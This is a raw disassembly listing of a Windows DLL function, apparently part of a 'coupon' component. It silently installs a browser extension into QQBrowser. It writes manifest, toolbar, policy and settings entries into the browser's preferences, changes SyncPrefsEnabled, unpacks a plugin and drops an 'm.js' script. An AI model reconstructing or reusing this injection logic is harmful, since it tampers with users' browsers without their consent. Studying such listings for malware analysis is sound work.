lea eax, [ebp - 0x560]
push 0
push eax
call fcn.100b7060
add esp, 0xc
lea ecx, [ebp - 0x38]
push 0x100ee1a0
push str.path
call fcn.10015d00
lea ecx, [ebp - 0x5680]
push ecx
mov ecx, eax
call fcn.10015330
mov ecx, eax
cmp dword [ecx + 0x14], 0x10
jb 0x1002abfa
mov ecx, dword [ecx]
lea edx, [ebp - 0x560]
sub edx, ecx
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [ecx + edx - 1], al
test al, al
jne 0x1002ac02
mov edx, dword [ebp - 0x566c]
cmp edx, 0x10
jb 0x1002ac49
mov ecx, dword [ebp - 0x5680]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1002ac3f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1002b78f
push edx
push ecx
call fcn.100b4813
add esp, 8
cmp dword [ebx + 0x2c], 0
mov edi, dword [ebp - 0x5810]
movups xmm0, xmmword [edi]
movups xmmword [ebp - 0x560], xmm0
movups xmm0, xmmword [edi + 0x10]
movups xmmword [ebp - 0x550], xmm0
je 0x1002ad10
mov esi, dword [ebp - 0x5800]
lea ecx, [ebp - 0x5680]
push esi
call fcn.10014df0
push 0x100ee090
push str.manifest
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0xa
call fcn.10015d00
push 0x100ee028
push str.name
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x5680]
mov byte [ebp - 4], 8
push ecx
mov ecx, eax
call fcn.100151a0
lea ecx, [ebp - 0x5680]
call fcn.10015080
push esi
lea ecx, [ebp - 0x5680]
call fcn.10014df0
push 0x100ee090
push str.manifest
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0xb
call fcn.10015d00
push 0x100ee036
push str.short_name
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x5680]
push ecx
mov ecx, eax
call fcn.100151a0
lea ecx, [ebp - 0x5680]
call fcn.10015080
cmp dword [ebx + 0x20], 0
lea ecx, [ebp - 0x5680]
je 0x1002ad29
push 1
call fcn.10014ec0
mov byte [ebp - 4], 0xc
jmp 0x1002ad34
push 0
call fcn.10014ec0
mov byte [ebp - 4], 0xd
push 0x100ee1ba
push str.browser_action_visible
lea ecx, [ebp - 0x38]
call fcn.10015d00
lea ecx, [ebp - 0x5680]
mov byte [ebp - 4], 8
push ecx
mov ecx, eax
call fcn.100151a0
lea ecx, [ebp - 0x5680]
call fcn.10015080
cmp dword [ebp - 0x5854], 0
jne 0x1002adbe
push dword [ebp - 0x18]
lea ecx, [ebp - 0x5680]
call fcn.10014df0
push 0x100ee090
push str.manifest
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0xe
call fcn.10015d00
push 0x100ee1bf
push 0x100ee1bc
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x5680]
mov byte [ebp - 4], 8
push ecx
mov ecx, eax
call fcn.100151a0
lea ecx, [ebp - 0x5680]
call fcn.10015080
lea edx, [ebp - 0x560]
mov byte [ebp - 0x5678], 4
or dword [ebp - 0x5678], 0x100
lea ecx, [edx + 1]
mov dword [ebp - 0x5674], 0
mov dword [ebp - 0x5670], 0
mov dword [ebp - 0x566c], 0
mov al, byte [edx]
inc edx
test al, al
jne 0x1002adf6
sub edx, ecx
lea ecx, [ebp - 0x560]
call fcn.100145d0
mov dword [ebp - 0x5680], eax
push 0x100ee1a0
push str.path
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x11
call fcn.10015d00
lea ecx, [ebp - 0x5680]
mov byte [ebp - 4], 8
push ecx
mov ecx, eax
call fcn.100151a0
lea ecx, [ebp - 0x5680]
call fcn.10015080
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x5680]
call fcn.10014ef0
push 0x100ee07a
push str.extensions
lea ecx, [ebp - 0x5848]
mov byte [ebp - 4], 0x12
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
push edi
mov ecx, eax
call fcn.10015fd0
lea ecx, [ebp - 0x5680]
push ecx
mov ecx, eax
call fcn.100151a0
lea ecx, [ebp - 0x5680]
call fcn.10015080
mov byte [ebp - 0x5678], 0
and dword [ebp - 0x5678], 0xfffffeff
mov dword [ebp - 0x5674], 0
mov dword [ebp - 0x5670], 0
mov dword [ebp - 0x566c], 0
push 0x100ee07a
push str.extensions
lea ecx, [ebp - 0x5848]
mov byte [ebp - 4], 0x14
call fcn.10015d00
push 0x100ee10b
push str.toolbar
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x5680]
mov byte [ebp - 4], 8
push ecx
mov ecx, eax
call fcn.100151a0
lea ecx, [ebp - 0x5680]
call fcn.10015080
push edi
lea ecx, [ebp - 0x5698]
call fcn.10014df0
push 0x100ee07a
push str.extensions
lea ecx, [ebp - 0x5848]
mov byte [ebp - 4], 0x15
call fcn.10015d00
push 0x100ee10b
push str.toolbar
mov ecx, eax
call fcn.10015d00
mov esi, eax
lea ecx, [ebp - 0x5680]
lea eax, [ebp - 0x5698]
push eax
call fcn.10014ef0
mov ecx, esi
mov byte [ebp - 4], 0x16
call fcn.10015800
push eax
mov ecx, esi
call fcn.10015980
lea ecx, [ebp - 0x5680]
push ecx
mov ecx, eax
call fcn.100151a0
lea ecx, [ebp - 0x5680]
call fcn.10015080
lea ecx, [ebp - 0x5698]
call fcn.10015080
push 0
lea ecx, [ebp - 0x5698]
call fcn.10014ec0
push 0x100ee07a
push str.extensions
lea ecx, [ebp - 0x5848]
mov byte [ebp - 4], 0x17
call fcn.10015d00
push 0x100ee1ee
push str.policy
mov ecx, eax
call fcn.10015d00
push 0x100ee1f6
push str.switch
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x5698]
push ecx
mov ecx, eax
call fcn.100151a0
lea ecx, [ebp - 0x5698]
call fcn.10015080
mov ecx, dword [ebx + 0xc]
mov eax, 0x7e07e07f
sub ecx, dword [ebx + 8]
imul ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x1002b27c
mov byte [ebp - 0x5678], 0
and dword [ebp - 0x5678], 0xfffffeff
mov dword [ebp - 0x5674], 0
mov dword [ebp - 0x5670], 0
mov dword [ebp - 0x566c], 0
push 0x100ee07a
push str.extensions
lea ecx, [ebp - 0x5848]
mov byte [ebp - 4], 0x19
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
push edi
mov ecx, eax
call fcn.10015fd0
push 0x100eec19
push str.associate_uin
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x5680]
mov byte [ebp - 4], 8
push ecx
mov ecx, eax
call fcn.100151a0
lea ecx, [ebp - 0x5680]
call fcn.10015080
mov eax, dword [ebp - 0x5678]
mov edx, 1
and eax, 0xffffff04
mov dword [ebp - 0x5674], 0
or eax, 0x104
mov dword [ebp - 0x5670], 0
mov ecx, 0x100eec1c
mov dword [ebp - 0x5678], eax
mov dword [ebp - 0x566c], 0
call fcn.100145d0
mov dword [ebp - 0x5680], eax
push 0x100ee07a
push str.extensions
lea ecx, [ebp - 0x5848]
mov byte [ebp - 4], 0x1c
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
push edi
mov ecx, eax
call fcn.10015fd0
push 0x100eec19
push str.associate_uin
mov ecx, eax
call fcn.10015d00
mov esi, eax
lea ecx, [ebp - 0x5698]
lea eax, [ebp - 0x5680]
push eax
call fcn.10014ef0
mov ecx, esi
mov byte [ebp - 4], 0x1d
call fcn.10015800
push eax
mov ecx, esi
call fcn.10015980
lea ecx, [ebp - 0x5698]
push ecx
mov ecx, eax
call fcn.100151a0
lea ecx, [ebp - 0x5698]
call fcn.10015080
lea ecx, [ebp - 0x5680]
mov byte [ebp - 4], 8
call fcn.10015080
xor ecx, ecx
mov dword [ebp - 0x5814], ecx
mov ecx, dword [ebx + 0xc]
mov esi, dword [ebx + 8]
mov eax, 0x7e07e07f
sub ecx, esi
imul ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x1002b27c
xor edi, edi
lea eax, [edi + esi]
push eax
lea ecx, [ebp - 0x5680]
call fcn.10014df0
push 0x100ee07a
push str.extensions
lea ecx, [ebp - 0x5848]
mov byte [ebp - 4], 0x1e
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
push dword [ebp - 0x5810]
mov ecx, eax
call fcn.10015fd0
push 0x100eec19
push str.associate_uin
mov ecx, eax
call fcn.10015d00
mov esi, eax
lea ecx, [ebp - 0x5698]
lea eax, [ebp - 0x5680]
push eax
call fcn.10014ef0
mov ecx, esi
mov byte [ebp - 4], 0x1f
call fcn.10015800
push eax
mov ecx, esi
call fcn.10015980
lea ecx, [ebp - 0x5698]
push ecx
mov ecx, eax
call fcn.100151a0
lea ecx, [ebp - 0x5698]
call fcn.10015080
lea ecx, [ebp - 0x5680]
mov byte [ebp - 4], 8
call fcn.10015080
mov ecx, dword [ebx + 0xc]
lea edi, [edi + 0x104]
mov esi, dword [ebx + 8]
mov eax, 0x7e07e07f
inc dword [ebp - 0x5814]
sub ecx, esi
imul ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x5814], eax
jb 0x1002b1a5
push 0
lea ecx, [ebp - 0x5698]
call fcn.10014ec0
push 0x100ee6a0
push str.Advanced
lea ecx, [ebp - 0x5848]
mov byte [ebp - 4], 0x20
call fcn.10015d00
push 0x100ee6b4
push str.SyncPrefsEnabled
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x5698]
mov byte [ebp - 4], 8
push ecx
mov ecx, eax
call fcn.100151a0
lea ecx, [ebp - 0x5698]
call fcn.10015080
lea eax, [ebp - 0x458]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [ebp - 0x56a0], 0x10
lea eax, [ebp - 0x56b4]
mov dword [ebp - 0x56a4], 0
lea ecx, [ebp - 0x56b8]
cmovae eax, dword [ebp - 0x56b4]
mov byte [eax], 0
lea eax, [ebp - 0x5848]
push eax
call fcn.100183f0
cmp byte [ebp - 0x569a], 0
jne 0x1002b329
push 0x100ed634
lea ecx, [ebp - 0x56b4]
call fcn.100015b0
lea eax, [ebp - 0x56b4]
push eax
lea ecx, [ebp - 0x5680]
call fcn.1000e910
push str.d:hudsonjobscoupon_1.0.1.1workspacecouponcomponentinjectlogicalcrxinstobjcrxqqbrowser.cpp
push 0x1fa
push str._DEBUGINFO__SETCRX__line_d_file_s_n
mov byte [ebp - 4], 0x21
call fcn.100043d0
sub esp, 0xc
lea eax, [ebp - 0x5680]
mov ecx, esp
push eax
call fcn.1000e910
mov esi, dword [ebp - 0x585c]
mov ecx, esi
call fcn.100290a0
push str.d:hudsonjobscoupon_1.0.1.1workspacecouponcomponentinjectlogicalcrxinstobjcrxqqbrowser.cpp
push 0x1fd
push str._DEBUGINFO__SETCRX__line_d_file_s_n
call fcn.100043d0
add esp, 0x24
cmp dword [ebx + 0x1c], 0
je 0x1002b5b4
push 0x104
lea eax, [ebp - 0x350]
push 0
push eax
call fcn.100b7060
add esp, 0xc
lea eax, [ebp - 0x350]
push esi
push 0x104
push eax
call fcn.100c3c1c
add esp, 0xc
lea eax, [ebp - 0x350]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
lea ecx, [ebp - 0x350]
dec ecx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x1002b3d1
mov eax, dword [str.Extensions_]
mov dword [ecx], eax
mov eax, dword [0x100ee098]
mov dword [ecx + 4], eax
mov eax, dword [0x100ee09c]
mov dword [ecx + 8], eax
mov al, byte [0x100ee0a0]
push 0x100ee1a0
mov byte [ecx + 0xc], al
lea ecx, [ebp - 0x38]
push str.path
call fcn.10015d00
cmp byte [eax + 8], 0
je 0x1002b562
push 0x100ee1a0
push str.path
lea ecx, [ebp - 0x38]
call fcn.10015d00
lea ecx, [ebp - 0x5698]
push ecx
mov ecx, eax
call fcn.10015330
mov edx, eax
cmp dword [edx + 0x14], 0x10
jb 0x1002b440
mov edx, dword [edx]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x1002b442
lea edi, [ebp - 0x350]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x1002b452
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, dword [ebp - 0x5684]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
cmp edx, 0x10
jb 0x1002b4a2
mov ecx, dword [ebp - 0x5698]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1002b498
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1002b794
push edx
push ecx
call fcn.100b4813
add esp, 8
lea ecx, [ebp - 0x350]
call fcn.1001a270
push 0x100ee16c
lea eax, [ebp - 0x350]
push eax
lea eax, [ebp - 0x57c0]
push eax
call fcn.100ab670
lea eax, [ebp - 0x350]
push eax
push str._DEBUGINFO__SETCRX__un7zfile__pluginpath___s_n
call fcn.10004450
lea eax, [ebp - 0x350]
push eax
call fcn.100bd9ca
mov esi, eax
add esp, 0xc
lea ecx, [esi - 1]
nop word [eax + eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x1002b4f0
mov eax, dword [str.m.js]
mov edx, 4
push dword [ebp - 0x584c]
mov dword [ecx], eax
mov ax, word [0x100ee294]
mov word [ecx + 4], ax
mov ecx, 0x100fbba8
cmp dword [0x100fbbbc], 0x10
mov eax, 0x100fbb90
cmovae ecx, dword [0x100fbba8]
cmp dword [0x100fbba4], 0x10
push ecx
cmovae eax, dword [0x100fbb90]
mov ecx, esi
push eax
push dword [ebp - 0x5810]
call fcn.10019ec0
push str.d:hudsonjobscoupon_1.0.1.1workspacecouponcomponentinjectlogicalcrxinstobjcrxqqbrowser.cpp
push 0x214
push str._DEBUGINFO__SETCRX__line_d_file_s_n
call fcn.100043d0
add esp, 0x1c
lea eax, [ebp - 0x57c0]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.d:hudsonjobscoupon_1.0.1.1workspacecouponcomponentinjectlogicalcrxinstobjcrxqqbrowser.cpp
push 0x218
push str._DEBUGINFO__SETCRX__line_d_file_s_n
call fcn.100043d0
add esp, 0xc
cmp dword [ebx + 0x2c], 0
je 0x1002b59d
mov edx, dword [ebp - 0x5800]
lea ecx, [ebp - 0x350]
call fcn.1001aff0
push str.d:hudsonjobscoupon_1.0.1.1workspacecouponcomponentinjectlogicalcrxinstobjcrxqqbrowser.cpp
push 0x21c
push str._DEBUGINFO__SETCRX__line_d_file_s_n
call fcn.100043d0
add esp, 0xc
mov edx, dword [ebp - 0x566c]
cmp edx, 0x10
jb 0x1002b5ee
mov ecx, dword [ebp - 0x5680]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1002b5e4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1002b799
push edx
push ecx
call fcn.100b4813
add esp, 8
lea ecx, [ebp - 0x38]
call fcn.10015080
push str.d:hudsonjobscoupon_1.0.1.1workspacecouponcomponentinjectlogicalcrxinstobjcrxqqbrowser.cpp
push 0x225
push str.line_d_file_s_n
call fcn.100043d0
add esp, 0xc
push str.d:hudsonjobscoupon_1.0.1.1workspacecouponcomponentinjectlogicalcrxinstobjcrxqqbrowser.cpp
push 0x22e
push str.line_d_file_s_n
call fcn.100043d0
add esp, 0xc
mov dword [ebp - 0x5814], 1
push str.d:hudsonjobscoupon_1.0.1.1workspacecouponcomponentinjectlogicalcrxinstobjcrxqqbrowser.cpp
push 0x230
push str.line_d_file_s_n
call fcn.100043d0
add esp, 0xc
lea ecx, [ebp - 0x5830]
call fcn.1000a810
jmp 0x1002b671
push str.d:hudsonjobscoupon_1.0.1.1workspacecouponcomponentinjectlogicalcrxinstobjcrxqqbrowser.cpp
xor eax, eax
push 0x235
push str.line_d_file_s_n
mov dword [ebp - 0x5814], eax
call fcn.100043d0
add esp, 0xc
push str.d:hudsonjobscoupon_1.0.1.1workspacecouponcomponentinjectlogicalcrxinstobjcrxqqbrowser.cpp
push 0x238
push str.line_d_file_s_n
call fcn.100043d0
add esp, 0xc
lea ecx, [ebp - 0x56b8]
call fcn.10017a80
lea ecx, [ebp - 0x5848]
call fcn.10015080
push str.d:hudsonjobscoupon_1.0.1.1workspacecouponcomponentinjectlogicalcrxinstobjcrxqqbrowser.cpp
push 0x23a
push str.line_d_file_s_n
call fcn.100043d0
add esp, 0xc
push str.d:hudsonjobscoupon_1.0.1.1workspacecouponcomponentinjectlogicalcrxinstobjcrxqqbrowser.cpp
push 0x242
push str.line_d_file_s_n
call fcn.100043d0
mov edi, dword [ebp - 0x5814]
jmp 0x1002b704
push str.d:hudsonjobscoupon_1.0.1.1workspacecouponcomponentinjectlogicalcrxinstobjcrxqqbrowser.cpp
xor edi, edi
push 0x247
jmp 0x1002b6fa
push str.d:hudsonjobscoupon_1.0.1.1workspacecouponcomponentinjectlogicalcrxinstobjcrxqqbrowser.cpp
xor edi, edi
push 0x24d
jmp 0x1002b6fa
push str.d:hudsonjobscoupon_1.0.1.1workspacecouponcomponentinjectlogicalcrxinstobjcrxqqbrowser.cpp
or edi, 0xffffffff
push 0x253
push str.line_d_file_s_n
call fcn.100043d0
add esp, 0xc
push str.d:hudsonjobscoupon_1.0.1.1workspacecouponcomponentinjectlogicalcrxinstobjcrxqqbrowser.cpp
push 0x255
push str._DEBUGINFO__SETCRX__line_d_file_s_n
call fcn.100043d0
mov esi, dword [ebx + 8]
add esp, 0xc
test esi, esi
je 0x1002b765
mov ecx, dword [ebx + 0x10]
mov eax, 0x7e07e07f
sub ecx, esi
imul ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
imul ecx, eax, 0x104
mov eax, esi
cmp ecx, 0x1000
jb 0x1002b75b
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1002b79e
push ecx
push esi
call fcn.100b4813
add esp, 8
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.100b47d2
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.100ba02c
call fcn.100ba02c
call fcn.100ba02c
call fcn.100ba02c
call fcn.100ba02c
call fcn.100ba02c
int3